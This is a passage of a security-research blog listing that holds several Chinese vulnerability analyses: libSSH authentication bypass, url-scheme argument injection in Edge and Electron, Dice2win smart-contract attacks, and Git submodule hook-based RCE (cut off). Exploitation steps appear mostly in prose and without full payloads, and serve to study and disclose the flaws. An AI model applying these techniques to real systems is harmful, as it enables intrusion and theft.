    截止2018年10月31日,我们发现了18285个存在int型变量gas优化问题的合约代码,存在潜在的安全隐患。其中交易量最高的10个合约情况如下:

    截止2018年10月31日,我们发现了194个存在string型变量gas优化问题的合约代码,存在潜在的安全隐患。其中交易量最高的10个合约情况如下:

    3、回调函数

    截止2018年10月31日,我们发现了8321个存在复杂回调的合约代码,存在潜在的安全隐患。其中交易量最高的10个合约情况如下:

    4、Owner权限

    截止2018年10月31日,我们发现了1194个存在Owner权限过大或合约后门,其中交易量最高的10个合约情况如下:

    5、tx.origin 鉴权问题

    截止2018年10月31日,我们发现了52个存在tx.origin 鉴权问题,其中交易量最高的10个合约情况如下:

    四、修复方式

    1、语法特性

    在智能合约中小心整数除法的向下取整问题,可以通过先乘积为整数再做处理。

    2、数据私密问题

    在处理一些隐私数据是尽量保留在服务端,可以通过hash-commit的方式来check变量值。

    3、数据可靠性

    尽量使合约内容不依赖时间顺序,如果需要外部变量影响,那尽量采用block.height和block.hash等这类难以控制的变量。

    4、gas消耗优化

    对于某些不涉及状态变化的函数和变量可以加constant来避免gas的消耗

    5、合约用户

    合约中,应尽量考虑交易目标为合约时的情况,避免因此产生的各种恶意利用。

    6、日志记录

    关键事件应有Event记录,为了便于运维监控,除了转账,授权等函数以外,其他操作也需要加入详细的事件记录,如转移管理员权限、其他特殊的主功能。

    7、回调函数

    合约中定义Fallback函数,并使Fallback函数尽可能的简单。尽量避免在回调函数中调用transfer、call等涉及状态变化的操作,避免gas不够用直接导致未知情况发生。

    8、Owner权限问题

    部分合约owner权限过大,owner可以随意操作合约内各种数据,包括修改规则,任意转账,任意铸币烧币,一旦发生安全问题,可能会导致严重的结果。

    关于owner权限问题,应该遵循几个要求:

    1. 合约创造后,任何人不能改变合约规则,包括规则参数大小等
    2. 只允许owner在合约销毁前,从合约中提取余额
    3. owner不能在未限制的情况下操作其他用户的余额等

    9、用户鉴权

    在需要用户鉴权的时刻,尽量使用msg.sender作为目标方。 https://solidity.readthedocs.io/en/develop/security-considerations.html#tx-origin

    10、条件竞争

    在智能合约的设计中,避免对交易顺序的依赖,或者想办法强制要求交易顺序。

    五、一些思考

    在这一次整理合约编码隐患的过程中,对智能合约本身的特殊性进行了深入了解。和每个语言一样,智能合约有基于区块链这个大前提在,许多代码都出现了新的问题,如果开发者没有注意到这些隐患,一旦出现问题,这些隐患就可能导致更大的问题发生。

    截止2018年10月31日,以太坊合约审计Checklist的所以问题完成了第一轮扫描,第一轮扫描针对以太坊公开的所有合约,其中超过80%的智能合约存在1个以上的安全隐患问题。在接下来的扫描报告中,我们会公开《以太坊合约审计Checklist》并使用HaoTian对以太坊公链上的所有智能合约进行基于opcode的扫描分析。


    智能合约审计服务

    针对目前主流的以太坊应用,知道创宇提供专业权威的智能合约审计服务,规避因合约安全问题导致的财产损失,为各类以太坊应用安全保驾护航。

    知道创宇404智能合约安全审计团队: https://www.scanv.com/lca/index.html
    联系电话:(086) 136 8133 5016(沈经理,工作日:10:00-18:00)

    欢迎扫码咨询:区块链行业安全解决方案

    黑客通过DDoS攻击、CC攻击、系统漏洞、代码漏洞、业务流程漏洞、API-Key漏洞等进行攻击和入侵,给区块链项目的管理运营团队及用户造成巨大的经济损失。知道创宇十余年安全经验,凭借多重防护+云端大数据技术,为区块链应用提供专属安全解决方案。

    欢迎扫码咨询:


    Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/732/

    作者:Nanako | Categories:安全研究技术分享 | Tags:
  • libSSH 认证绕过漏洞(CVE-2018-10933)分析

    2018-10-22
    作者:Hcamael@知道创宇404实验室
    时间:2018年10月19日

    最近出了一个libSSH认证绕过漏洞,刚开始时候看的感觉这洞可能挺厉害的,然后很快github上面就有PoC了,msf上很快也添加了exp,但是在使用的过程中发现无法getshell,对此,我进行了深入的分析研究。

    前言

    搞了0.7.5和0.7.6两个版本的源码:[1]

    360发了一篇分析文章,有getshell的图:[2]

    Python版本的PoC到Github上搜一下就有了:[3]

    环境

    libSSH-0.7.5源码下载地址: [4]

    PS: 缺啥依赖自己装,没有当初的编译记录了,也懒得再来一遍

    主要用两个,一个是SSH服务端Demo:examples/ssh_server_fork, 一个是SSH客户端Demo:./examples/samplessh

    服务端启动命令:sudo examples/ssh_server_fork -p 22221 127.0.0.1 -v

    客户端使用命令:./examples/samplessh -p 22221 myuser@127.0.0.1

    PS: 用户那随便填,我使用myuser,只是为了对比正常认证请求和bypass请求有啥区别,正常情况下SSH服务端是使用账户密码认证,账户是: myuser, 密码是: mypassword

    修改../src/auth.cssh_userauth_xxxx函数,我修改的是ssh_userauth_password:

    根据360的分析文章和我自己的研究结果,修改了上图箭头所示的三处地方,这样./examples/samplessh就会成为了验证该漏洞的PoC

    PS: 修改完源码后记得再执行一次make

    漏洞分析

    根据服务端输出的调试信息,可以找到ssh_packet_process函数[5], 看到第1211行:

    然后追踪到callbacks数组等于default_packet_handlers[6]

    正常情况下,发送SSH2_MSG_USERAUTH_REQUEST请求,进入的是ssh_packet_userauth_request函数,而该漏洞的利用点就是,发送SSH2_MSG_USERAUTH_SUCCESS请求,从而进入ssh_packet_userauth_success函数

    PS: 我们可以进入该数组中的任意函数,但是看了下其他函数,也没法getshell

    正常情况下的执行路径是:

    找找这个函数,发现在服务端Demo中进行了设置:

    找到了auth_password函数,由服务端的编写者设置的:

    认证成功后的路径:

    正常情况下,在SSH登录成功后,libSSH给session设置了认证成功的状态,SSH服务端编写的人给自己定义的标志位设置为1: sdata->authenticated = 1;

    利用该漏洞绕过验证,服务端的流程:

    可以成功的把libSSH的session设置为认证成功的状态,但是却不会进入auth_password函数,所以用户定义的标志位sdata->authenticated仍然等于0

    我们在网上看到别人PoC验证成功的图,就是由ssh_packet_userauth_success函数输出的Authentication successful

    研究不能getshell之谜

    很多人复现该漏洞的时候肯定都发现了,服务端调试的信息都输出了认证成功,但是在getshell的时候却一直无法成功,根据上面的代码,发现session已经被设置成认证成功了,但是为啥还无法获取shell权限呢?对此,我又继续深入研究。

    根据服务端的调试信息,我发现都能成功打开channel,但是在下一步pty-req channel_request我服务端显示的信息是被拒绝:

    所以我继续跟踪代码执行的流程,跟踪到了ssh_execute_server_request函数:

    接着发现ssh_callbacks_exists(channel->callbacks, channel_pty_request_function)检查失败,所以没有进入到该分支,导致请求被拒绝。

    然后回溯channel->callbacks,回溯到了SSH服务端ssh_server_fork.c

    在libSSH中没有任何设置channel的回调函数的代码,只要在服务端中,由开发者手动设置,比如上面的545行的代码

    然后我们又看到了sdata.authenticated,该变量再之前说了,该漏洞绕过的认证,只能把session设置为认证状态,却无法修改SSH服务端开发者定义的sdata.authenticated变量,所以该循环将不会跳出,直到n = 100的情况下,reutrn结束该函数。这就导致了我们无法getshell。

    如果想getshell,有两种修改方式:

    1.删除sdata.authenticated变量

    2.把channel添加回调函数的代码移到循环之前

    在修改了服务端代码后,我也能成功getshell:

    总结

    之后我看了审计了一下ssh_execute_server_request函数的其他分支,发现SSH_REQUEST_CHANNEL分支下所有的分支:

    都是调用channel的回调函数,所以在回调函数未注册的情况下,是无法成功getshell。

    最后得出结论,CVE-2018-10933并没有想象中的危害大,而且网上说的几千个使用libssh的ssh目标,根据banner,我觉得都是libssh官方Demo中的ssh服务端,存在漏洞的版本的确可以绕过认证,但是却无法getshell。

    引用

    1. https://0x48.pw/libssh/
    2. https://www.anquanke.com/post/id/162225
    3. https://github.com/search?utf8=%E2%9C%93&q=CVE-2018-10933&type=
    4. https://www.libssh.org/files/0.7/libssh-0.7.5.tar.xz
    5. https://0x48.pw/libssh/libssh_0.7.6/src/packet.c.html#ssh_packet_process
    6. https://0x48.pw/libssh/libssh_0.7.5/src/packet.c.html#default_packet_handlers

    Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/720/

    作者:Nanako | Categories:安全研究漏洞通告 | Tags:
  • 从 CVE-2018-8495 看 PC 端 url scheme 的安全问题

    2018-10-19
    作者:0x7F@知道创宇404实验室
    时间:2018年10月18日

    0x00 前言

    本文受 CVE-2018-8495 漏洞的启发,以学习的目的,针对 PC 端 url scheme 的安全问题进行了分析研究。

    说到 url scheme 的安全问题,这并不是一个新问题,早在 2008 年就有相关的研究和利用;如今 2018 年又陆续出现了安全问题,包括 1 月的 Electron 命令注入(CVE-2018-1000006) 以及 10 月的 Edge RCE(CVE-2018-8495),可见 url scheme 的安全问题值得去一探究竟。

    url scheme 也称为 url protocolurl handler,本文使用 url scheme 这个名称。

    0x01 url scheme是什么

    常见的url scheme应用场景

    在平时使用电脑的过程中,常常会发现点击某一个链接就会尝试启动本地的应用程序,比如点击类似 mailto://test@test.com,就会启动邮件客户端,点击 thunder://xxxxx,就会启动迅雷客户端;这就是 url scheme 的应用。除此之外,我们使用浏览器也会发现地址栏中一些不同的前缀,常用的有 http://https://ftp://file://,这同样是 url scheme 的应用场景。

    各大操作系统开发商和浏览器开发商为了提高用户体验,丰富浏览器的功能,允许开发人员将 URI 与本地的应用程序进行关联,从而在用户使用浏览器时,可以通过点击某一链接即可启动应用程序;将这个功能简称为 url scheme。比如在 windows7 下使用 IE8 启动默认邮件客户端 outlook

    正因为 url scheme 这个优秀的功能设计,各大操作系统开发商都对此进行了支持,无论是 PC 端 Windows, MAC, Linux,还是移动端 iOS, Android 都有良好的支持。本文针对 PC 端下的 url scheme 的安全问题进行分析,移动端下同样也有类似的问题,但利用方式不同,这里就不展开了。

    url scheme工作流程

    在了解 url scheme 的功能后,可以大致理解到 url scheme 的工作流程;应用程序在操作系统中注册 url scheme 项,当浏览器或其他支持 url 的应用访问 特定的 url scheme 时,从系统中匹配相对应的 url scheme 项,从而启动该应用程序;可见这是一个三方相互支持的功能。

    正因如此,对于 url scheme 这个功能,在操作系统、浏览器(或其他支持 url 的应用)、应用程序这三个环节中,无论哪个环节出现了安全问题,或者是相互支持出现了问题,都将影响 url scheme 功能,最终给用户带来安全问题。

    0x02 创建 url scheme

    那么 url scheme 功能是如何在操作系统中注册的呢?不同的操作系统都有不同的实现方式,这里以 Windows7 为例进行演示说明。

    在 Windows7 上,url scheme 被记录在注册表 HKEY_CLASSES_ROOT 下,如 mailto 的相关字段:

    如果要创建一个新的 url scheme,直接在 HKEY_CLASSES_ROOT 添加即可,并在相应的字段中填入对应的值。创建的子项名即为 url scheme 功能名,在该子项下还包含两个项:DefaultIconshellDefaultIcon 包含该功能所使用的默认图标路径;在 shell 项下继续创建子项,例如: open,然后在 open 项下创建 command 子项,用于描述应用程序的路径以及参数。

    举个例子,创建 calc 用于启动 C:\Windows\System32\calc.exe

    补充一点:实际上,在 Windows 中有两种添加 url scheme 的方式,以上是直接添加注册表的方式(Pluggable Protocol),还有一种是异步可插拔协议(Asynchronous Pluggable Protocol),注册的协议会记录在 HKEY_CLASSES_ROOT\PROTOCOLS\ 下。这里就不展开了,详情可以参考:https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/platform-apis/aa767916(v%3dvs.85)

    0x03 安全隐患

    对于 url scheme 功能,简单来讲就是「通过 url 可以启动某一个本地的应用程序」,这无疑大大提高了用户体验,但同时引入一些安全隐患,比如用户可以通过浏览器启动一个恶意程序,或者用户启动的应用程序具有特殊的功能可以被调用(如:删除文件、启动网络连接)。

    除此之外,对于包含 url 的的相关应用,用户是往往作为一个使用者、阅读者,而不是编辑者;也就是说 url 可以被攻击者恶意构造,从而达到远程启动本地应用程序的效果。

    那么在操作系统中,有哪些 url scheme 是可以被调用的呢?这里提供三个脚本用于导出三大 PC 系统下 url scheme

    Windows: [https://images.seebug.org/archive/duh4win.vbs]
    MAC: [https://images.seebug.org/archive/duh4mac.m]
    Linux: [https://images.seebug.org/archive/duh4linux.sh]

    (脚本来源于:https://www.blackhat.com/presentations/bh-europe-08/McFeters-Rios-Carter/Whitepaper/bh-eu-08-mcfeters-rios-carter-WP.pdf)

    运行脚本程序,可以看到系统下有不少可以调用的 url scheme,其中包括操作系统默认支持的,如 httpftpmailto,也有第三方的应用程序,如 qqthunder;如果这些应用程序出现安全问题,比如支持删除文件、启动另一个程序等敏感操作,最终在 url scheme 的帮助下,都将远程触发的安全问题。

    除了应用程序可能出现的安全问题,浏览器(或其他程序)在进行 url 解析并启动应用程序的过程也可以出现安全问题;并且这三方相互支持的过程中,仍然可能出现问题;无论是哪一个环节出现的安全问题,其危害最终都会在 url scheme 下被放大。

    本文就这以上可能出现安全问题的环节进行分析,并举例说明。

    0x04 操作系统的问题

    在 2007 年,Heise Security 公开了由 「url scheme 导致远程命令执行」的漏洞,其出现在 Windows XP 下已安装 IE7 版本的系统中,影响范围包括所有支持 url scheme 的应用程序。

    其构造的 PoC 如下:

    在 Windows XP 下运行结果如下:

    图片来源于:http://www.h-online.com/security/news/item/URI-problem-also-affects-Acrobat-Reader-and-Netscape-733744.html

    其造成漏洞的原因是由于微软通过安装适用于 Windows XP 的 IE7 改变了操作系统对 url 的处理,而应用程序直接将路径传递给操作系统用于启动,最终导致包含 字符的特殊链接导致启动任意程序。

    在漏洞公开后,微软并没有发布修复补丁,并且认为这不是 Windows XP 的原因,随后各大应用程序开发人员对该漏洞进行了修复。当然,上层应用可以对输入的参数进行检查,但这里也可以认为是操作系统方面的问题,导致了 url scheme 远程命令执行。

    0x05 浏览器的参数注入

    2018 年,在 url scheme 的安全问题中,有两个问题是由于 Windows 下的 IE 和 Edge 参数注入引发的,其中一个是 Electron 自定义协议命令注入(CVE-2018-1000006),另一个是 Edge 远程代码执行(CVE-2018-8495)。

    在 Windows 下 IE 和 Edge 对 url scheme 的处理方式有些不同,在浏览器接收到一个 url scheme 后,访问注册表查询对应的应用程序路径,随后进行 url 解码,然后调用 ShellExecute 函数簇,启动应用程序;正是因为 url 解码这一步造成了双引号闭合,从而引起了参数注入问题。示意图如下:

    Electron 自定义协议命令注入

    2018 年 1 月,Electron 发布了由自定义协议而导致命令注入的安全公告(CVE-2018-1000006),由于参数注入而引发的问题,构造的 PoC 如下:

    使用 IE 浏览器访问该链接,最终生成的启动参数如下:

    通过参数注入,调用 electron 中支持的 --gpu-launcher 参数,传入 cmd.exe 启动计算器,如下图:

    图片来源于:https://xz.aliyun.com/t/1990,详情可以参考这个链接。

    Edge 远程代码执行

    2018 年 10 月,Edge 公开了远程代码执行的安全公告(CVE-2018-8495),同样也是利用参数注入,最终达到了远程代码执行的效果;整个利用过程颇具巧妙性,本文对此进行详细的分析。

    首先说一点的是,在 Edge 中居然可以打开一些不合法的 url scheme(没有包含 URL Protocol 字段),比如 WSHFile 项:

    当然在 Windows7 和 Windows8 下不能打开。

    而恰恰 WSHFile 项指向了 wscript.exe,这个应用程序非常熟悉是Windows 内置的脚本解释器,那么可以利用 WSHFile 尝试去运行一个脚本;除此之外,上文提到 Edge 浏览器中存在参数注入的问题,那么是否有脚本可以接收参数并用于执行呢?

    漏洞作者最终找到:

    该脚本文件支持接收参数,并且会将命令直接拼接到字符串中,然后通过 powershell 进行执行。

    最终构造的 PoC 如下:

    以及执行后触发的效果:

    目前 Windows10 上已经发布了修复补丁,Edge 已经不能调用这种不合法的 url scheme 了。

    除此之外,404实验室的小伙伴在分析漏洞的过程中,也有一些额外的发现,如在注册表 HKEY_CLASSES_ROOT 还发现了和 WSHFile 类似的 url scheme,都指向 wscript.exe,同样也可以触发远程代码执行。包括:

    还有在 C:\Windows\System32\ 下也存在 SyncAppvPublishingServer.vbs,同样也可以利用,并且比漏洞作者所提供的更加可靠。

    除了 SyncAppvPublishingServer.vbs 这个文件, 在 C:\Windows\System32\Printing_Admin_Scripts\zh-CN 下的 pubprn.vbs 也同样可以触发代码执行。

    补充一点,在 Windows7 系统下 chrome 与 Edge 有相同的特性——会打开一些不合法的 url scheme,但由于 chrome 不存在参数注入的问题,所以可以暂且认为是安全的。

    0x06 应用程序的问题

    2017 年 12 月,macOS 上的 helpViewer 应用程序被公开由 XSS 造成文件执行的漏洞(CVE-2017-2361),影响 macOS Sierra 10.12.1 以下的版本;该漏洞同样也利用了 url scheme,攻击者可以构造恶意页面,从而发动远程攻击。这是典型的由于应用程序所导致的 url scheme 安全问题。

    漏洞详情可以参考:https://bugs.chromium.org/p/project-zero/issues/detail?id=1040&can=1&q=reporter%3Alokihardt%40google.com%20&sort=-reported&colspec=ID%20Status%20Restrict%20Reported%20Vendor%20Product%20Finder%20Summary&start=100

    其构造的 PoC 如下:

    在这个漏洞的利用过程中,可以发现操作系统和浏览器并没有出现问题,而是通过 url scheme 打开的应用程序出现了问题。通过对利用链的分析,可以了解到其中几个巧妙的点:

    1. 利用 url scheme 中的 help 协议打开应用程序 Safari.help
    2. 使用双重 url 编码绕过 helpViewer 对路径的检查,打开一个可以执行 JavaScript 的页面
    3. 使用 helpViewer 的内置协议 x-help-script 打开应用程序(PoC不包含)

    0x07 总结

    url scheme 功能的便捷性得力于操作系统、浏览器(或其他支持 url 的应用)以及应用程序三方的相互支持;要保证 url scheme 功能安全可靠,就必须牢牢把关这三方的安全。

    除此之外,不同的操作系统对 url scheme 实现方式不同,不同的浏览器也有自己的特性,应用程序也各有各的处理方式,多种组合的结果,就有可能出现一些意料之外的安全问题。

    最后感谢 404 实验室小伙伴 @LoRexxar' 与 @dawu 在分析过程中给我的帮助。


    References:

    1. CVE-2018-8495分析: https://leucosite.com/Microsoft-Edge-RCE/
    2. Seebug.paper: https://paper.seebug.org/515/
    3. 先知: https://xz.aliyun.com/t/1990
    4. electronjs: https://electronjs.org/blog/protocol-handler-fix
    5. blackhat: https://www.blackhat.com/presentations/bh-europe-08/McFeters-Rios-Carter/Whitepaper/bh-eu-08-mcfeters-rios-carter-WP.pdf
    6. blackhat: https://www.blackhat.com/presentations/bh-dc-08/McFeters-Rios-Carter/Presentation/bh-dc-08-mcfeters-rios-carter.pdf
    7. oreilly: https://www.oreilly.com/library/view/hacking-the-next/9780596806309/ch04.html
    8. Github: https://github.com/ChiChou/LookForSchemes
    9. MSRC.CVE-2018-8495: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8495
    10. Microsoft: https://docs.microsoft.com/en-us/windows/uwp/launch-resume/reserved-uri-scheme-names
    11. Microsoft: https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/platform-apis/aa767914(v=vs.85)
    12. Microsoft: https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/platform-apis/aa767916(v%3dvs.85)
    13. h-online: http://www.h-online.com/security/news/item/URI-problem-also-affects-Acrobat-Reader-and-Netscape-733744.html
    14. chromium: https://bugs.chromium.org/p/project-zero/issues/detail?id=1040&can=1&q=reporter%3Alokihardt%40google.com%20&sort=-reported&colspec=ID%20Status%20Restrict%20Reported%20Vendor%20Product%20Finder%20Summary&start=100

     

    Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/719/

    作者:Nanako | Categories:安全研究安全科普 | Tags:
  • 智能合约游戏之殇——Dice2win安全分析

    2018-10-19
    作者:LoRexxar'@知道创宇404区块链安全研究团队
    时间:2018年10月18日
    系列文章:
    《智能合约游戏之殇——类 Fomo3D 攻击分析》
    《智能合约游戏之殇——God.Game 事件分析》
    Dice2win是目前以太坊上很火爆的区块链博彩游戏,其最大的特点就是理论上的公平性保证,每天有超过1000以太币被人们投入到这个游戏中。

    Dice2win官网

    Dice2win合约代码

    dice2win的游戏非常简单,就是一个赌概率的问题。

    就相当于猜硬币的正面和反面,只要你猜对了,就可以赢得相应概率的收获。

    这就是一个最简单的依赖公平性的游戏合约,只要“庄家”可以保证绝对的公正,那么这个游戏就成立。

    2018年9月21日,我在《以太坊合约审计 CheckList 之“以太坊智能合约编码设计问题”影响分析报告》中提到了以太坊智能合约中存在一个弱随机数问题,里面提到dice2win的合约中实现了一个很好的随机数生成方案hash-commit-reveal

    2018年10月12日,Zhiniang Peng from Qihoo 360 Core Security发表了《Not a fair game, Dice2win 公平性分析》,里面提到了关于Dice2win的3个安全问题。

    在阅读文章的时候,我重新审视了Dice2win的合约代码,发现在上次的阅读中对Dice2win的执行流程有所误解,而且Dice2win也在后面的代码中迭代更新了Merkle proof功能,这里我们就重点聊聊这几个问题。

    Dice2win安全性分析

    选择中止攻击

    让我们来回顾一下dice2win的代码

    主要函数为placeBet和settleBet,其中placeBet函数主要为建立赌博,而settleBet为开奖。最重要的一点就是,这里完全遵守hash-commit-reveal方案实现,随机数生成过程在服务端,整个过程如下。

    1. 用户选择好自己的下注方式,确认好后点击下注按钮。
    2. 服务端生成随机数reveal,生成本次赌博的随机数hash信息,有效最大blockNumber,并将这些数据进行签名,并将commit和信息签名传给用户。
    3. 用户将获取到的随机数hash以及lastBlockNumber等信息和下注信息打包,通过Metamask执行placebet函数交易。
    4. 服务端在一段时间之后,将带有随机数和服务端执行settlebet开奖

    在原文中提到,庄家(服务端)接收到用户猜测的数字,可以选择是否中奖,选择部分对自己不利的中止,以使庄家获得更大的利润。

    这的确是这类型合约最容易出现的问题,庄家依赖这种方式放大庄家获胜的概率。

    上面的流程如下

    而上面提到的选择中止攻击就是上面图的右边可能会出现的问题

    整个流程最大的问题,就在于placebet和settlebet有强制的执行先后顺序,否则其中的一项block.number将取不到正确的数字,也正是应为如此,当用户下注,placebet函数执行时,用户的下注信息就可以被服务端获得了,此时服务端有随机数、打包placebet的block.number、下注信息,服务端可以提前计算用户是否中奖,也就可以选择是否中止这次交易。

    选择开奖攻击

    在原文中,提到了一个很有趣的攻击方式,在了解这种攻击方式之前,首先我们需要对区块链共识算法有所了解。

    比特币区块链采用Proof of Work(PoW)的机制,这是一个叫做工作量证明的机制,提案者需要经过大量的计算才能找到满足条件的hash,当寻找到满足条件的hash反过来也证明了提案者付出的工作量。但这种情况下,可能会有多个提案者,那么就有可能出现链的分叉。区块链对这种结果的做法是,会选取最长的一条链作为最终结果。

    当你计算出来的块被抛弃时,也就意味着你付出的成本白费了。所以矿工会选择更容易被保留的链继续计算下去。这也就意味着如果有人破坏,需要付出大量的经济成本。

    借用一张原文中的图

    在链上,计算出的b2、c5、b5、b6打包的交易都会回退,交易失败,该块不被认可。

    回到Dice2win合约上,Dice2win是一个不希望可逆的交易过程,对于赌博来说,单向不可逆是一个很重要的原则。所以Dice2win新添加了MerikleProof方法来解决这个问题。

    MerikleProofi方法核心在于,无论是否分叉,该分块是否会被废弃,Dice2win都认可这次交易。当服务端接收到一个下注交易(placebet)时,立刻对该区块开奖。

    MerikleProofi 的commit

    上面这种方法的原理和以太坊的区块结构有关,具体可以看《Not a fair game, Dice2win 公平性分析》一文中的分析,但这种方法一定程度的确解决了开奖速度的问题,甚至还减少了上面提到的选择中止攻击的难度。

    但却出现了新的问题,当placebet交易被打包到分叉的多个区块中,服务端可以通过选择获利更多的那个区块接受,这样可以最大化获得的利益。但这种攻击方式效果有效,主要有几个原因:

    1. Dice2win需要有一定算力的矿池才能主动影响链上的区块打包,但大部分算力仍然掌握在公开的矿池手中。所以这种攻击方式不适用于主动攻击。
    2. 被动的遇到分叉情况并不会太多,尤其是遇到了打包了placebet的区块,该区块的hash只是多了选择,仍然是不可控的,大概率多种情况结果都是一致的。

    从这种角度来看,这种攻击方式有效率有限,对大部分玩家影响较小。

    任意开奖攻击(Merkle proof验证绕过)

    在上面的分析中,我们详细分析了我们Merkle proof的好处以及问题所在。但如果Merkle proof机制从根本上被绕过,那么是不是就有更大的问题了。

    Dice2win在之前已经出现了这类攻击 https://etherscan.io/tx/0xd3b1069b63c1393b160c65481bd48c77f1d6f2b9f4bde0fe74627e42a4fc8f81

    攻击者成功构造攻击合约,通过合约调用placeBet来下赌注,并伪造Merkle proof并调用settleBetUncleMerkleProof开奖,以100%的几率控制赌博成功。

    分析攻击合约可以发现该合约中的多个安全问题:

    1、Dice2win是一个不断更新的合约,存在多个版本。但其中决定庄家身份的secretSigner值存在多个版本相同的问题,导致同一个签名可以在多个合约中使用。

    2、placebet中对于最后一个commitlaskblock的check存在问题

    用作签名的commitlastblock定义是uint256,但用作签名的只有uint40,也就是说,我们在执行placeBet的时候,可以修改高位的数字,导致某个签名信息始终有效。

    3、Merkle proof边界检查不严格。

    在最近的一次commit中,dice2win修复了一个漏洞是关于Merkle proofcheck的范围。

    https://github.com/dice2-win/contracts/commit/b0a0412f0301623dc3af2743dcace8e86cc6036b

    这里检查使Merkle proof更严格了

    4、settleBet 权限问题

    经过我的研究,实际上在Dice2win的游戏逻辑中,settleBet应该是只有服务端才能调用的(只有庄家才能开奖),但在之前的版本中,并没有这样的设置。

    在新版本中,settleBet加入了这个限制。

    这里绕过Merkle proof的方法就不再赘述了,有兴趣可以看看原文。

    refundBet下溢

    感谢@Zhiniang Peng from Qihoo 360 Core Security 提出了我这里的问题,最开始理解有所偏差导致错误的结论。

    原文中最后提到了一个refundBet函数的下溢,让我们来看看这个函数的代码

    跟入getDiceWinAmount函数,发现jackpotFee并不可控

    其中JACKPOT_FEE = 0.001 ether,且要保证amount大于0.1 ether,amount来自bet变量

    而bet变量只有在placebet中可以被设置。

    但可惜的是,placebet中会进行一次相同的调用

    所以我们无法构造一个完整的攻击过程。

    但我们回到refundBet函数中,我们无法控制jackpotFee,那么我们是不是可以控制jackpotSize呢

    首先我们需要理解一下,jackpotSize是做什么,在Dice2win的规则中,除了本身的规则以外,还有一份额外的大奖,是从上次大奖揭晓之后的交易抽成累积下来的。

    如果有人中了大奖,那么这个值就会清零。

    但这里就涉及竞争了,完整的利用流程如下:

    1. 攻击者a下注placebet,并获得commit
    2. 某个好运的用户在a下注开奖前拿走了大奖
    3. 攻击者调用refundBet退款
    4. jackpotSize成功溢出

    总结

    在回溯分析完整个Dice2win合约之后,我们不难发现,由于智能合约和传统的服务端逻辑不同,导致许多我们惯用的安全思路遇到了更多问题,区块链的不可信原则直接导致了随机数生成方式的难度加深。目前最为成熟的hash-commit-reveal方法是属于通过服务端与智能合约交互实现的,在随机数保密方面完成度很高,可惜的是无法避免服务端获取过多信息的问题。

    hash-commit-reveal方法的基础上,只要服务端不能即时响应开奖,选择中止攻击就始终存在。有趣的是Dice2win合约中试图实现的Merkle proof功能初衷是为了更快的开奖,但反而却在一定程度上减少了选择中止攻击的可能性。

    任意开奖攻击,是一个针对Merkle proof的攻击方式,应验了所谓的功能越多漏洞越多的问题。攻击方式精巧,是一种很有趣的利用方式。

    就目前为止,无论是底层的机制也好,又或是随机数的生成方式也好,智能合约的安全还有很长的路要走。


     

    Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/717/

    作者:Nanako | Categories:安全研究技术分享 | Tags:
  • Git Submodule 漏洞(CVE-2018-17456)分析

    2018-10-18
    作者:Hcamael@知道创宇404实验室
    国庆节的时候,Git爆了一个RCE的漏洞,放假回来进行应急,因为公开的相关资料比较少,挺头大的,搞了两天,RCE成功了

    收集资料

    一开始研究这个漏洞的时候,网上公开的资料非常少,最详细的也就github blog[1]的了。

    得知发现该漏洞的作者是@joernchen, 去翻了下他的twitter,找到了一篇还算有用的推文:

    另外在twitter搜索CVE-2018-17456,得到一篇@_staaldraad验证成功的推文:

    可惜打了马赛克,另外还通过Google也零零散散找到一些有用的信息(url都找不到了),比如该漏洞无法在Windows上复现成功,因为:在Windows上不是有效的文件名。

    研究分析

    网上资料太少,只凭这点资料无法完成该漏洞的复现,所以只能自己通过源码、调试进行测试研究了。

    使用woboq_codebrowser生成了git v2.19.1最新版的源码[2],方便审计。

    通过源码发现在git命令前使用GIT_TRACE=1能开启git自带的命令跟踪,跟踪git的run_command

    首先创建一个源,并创建其子模块(使用git v2.19.0进行测试):

    从搜集到的资料看,可以知道,该漏洞的触发点是url参数,如果使用-开始则会被解析成参数,所以尝试修改url

    从输出结果中,我们可以看到一句命令:

    我们设置的-testgit clone识别为-t参数,漏洞点找到了,下面需要考虑的是,怎么利用git clone参数执行命令?

    继续研究,发现git有处理特殊字符,比如空格:

    如果有特殊字符,则会加上单引号

    翻了下源码,找到了过滤的函数[3],是一个白名单过滤

    只有大小写字母,数字和下面这几种特殊字符才不会加上单引号:

    感觉这空格是绕不过了(反正我绕不动)

    接下来继续研究如果利用参数进行命令执行

    在翻twitter的过程中还翻到了之前一个Git RCE(CVE-2018-11235)[4]的文章,发现是利用hook来达到RCE的效果,在结合之前@_staaldraad验证成功的推文

    可以很容易的想到一个方法,不过在讲这个方法前,先讲一些git submodule的基础知识点吧

    git submodule机制简单讲解

    首先看看.gitmodules的几个参数:

    test1表示的是submodule name,使用的参数是--name,子项目.git目录的数据会被储存到.git/modules/test1/目录下

    test2表示的是子项目储存的路径,表示子项目的内容将会被储存到./test2/目录下

    test3这个就很好理解,就是子项目的远程地址,如果是本地路径,就是拉去本地源

    把本地项目push到远程,是无法把.git目录push上去的,只能push .gitmodules文件和test2目录

    那么远程怎么识别该目录为submodule呢?在本地添加submodule的时候,会在test2目录下添加一个.git文件(在前面被我删除了,可以重新添加一个查看其内容)

    指向的是该项目的.git路径,该文件不会被push到远程,但是在push的时候,该文件会让git识别出该目录是submodule目录,该目录下的其他文件将不会被提交到远程,并且在远程为该文件创建一个链接,指向submodule地址:

    (我个人体会,可以看成是Linux下的软连接)

    这个软连接是非常重要的,如果远程test2目录没有该软连接,.gitmodules文件中指向该路径的子项目在给clone到本地时(加了--recurse-submodules参数),该子项目将不会生效。

    理解了submodule大致的工作机制后,就来说说RCE的思路

    我们可以把url设置为如下:

    这是一个模板选项,详细作用自己搜下吧

    在设置了该选项的情况下,把子项目clone到本地时,子项目的.git目录被放到.git/modules/test1目录下,然后模板目录中,规定的几类文件也会被copy到.git/modules/test1目录下。这几类文件其中就是hook

    所以,只有我们设置一个./template/hook/post-checkout,给post-checkout添加可执行权限,把需要执行的命令写入其中,在子项目执行git chekcout命令时,将会执行该脚本。

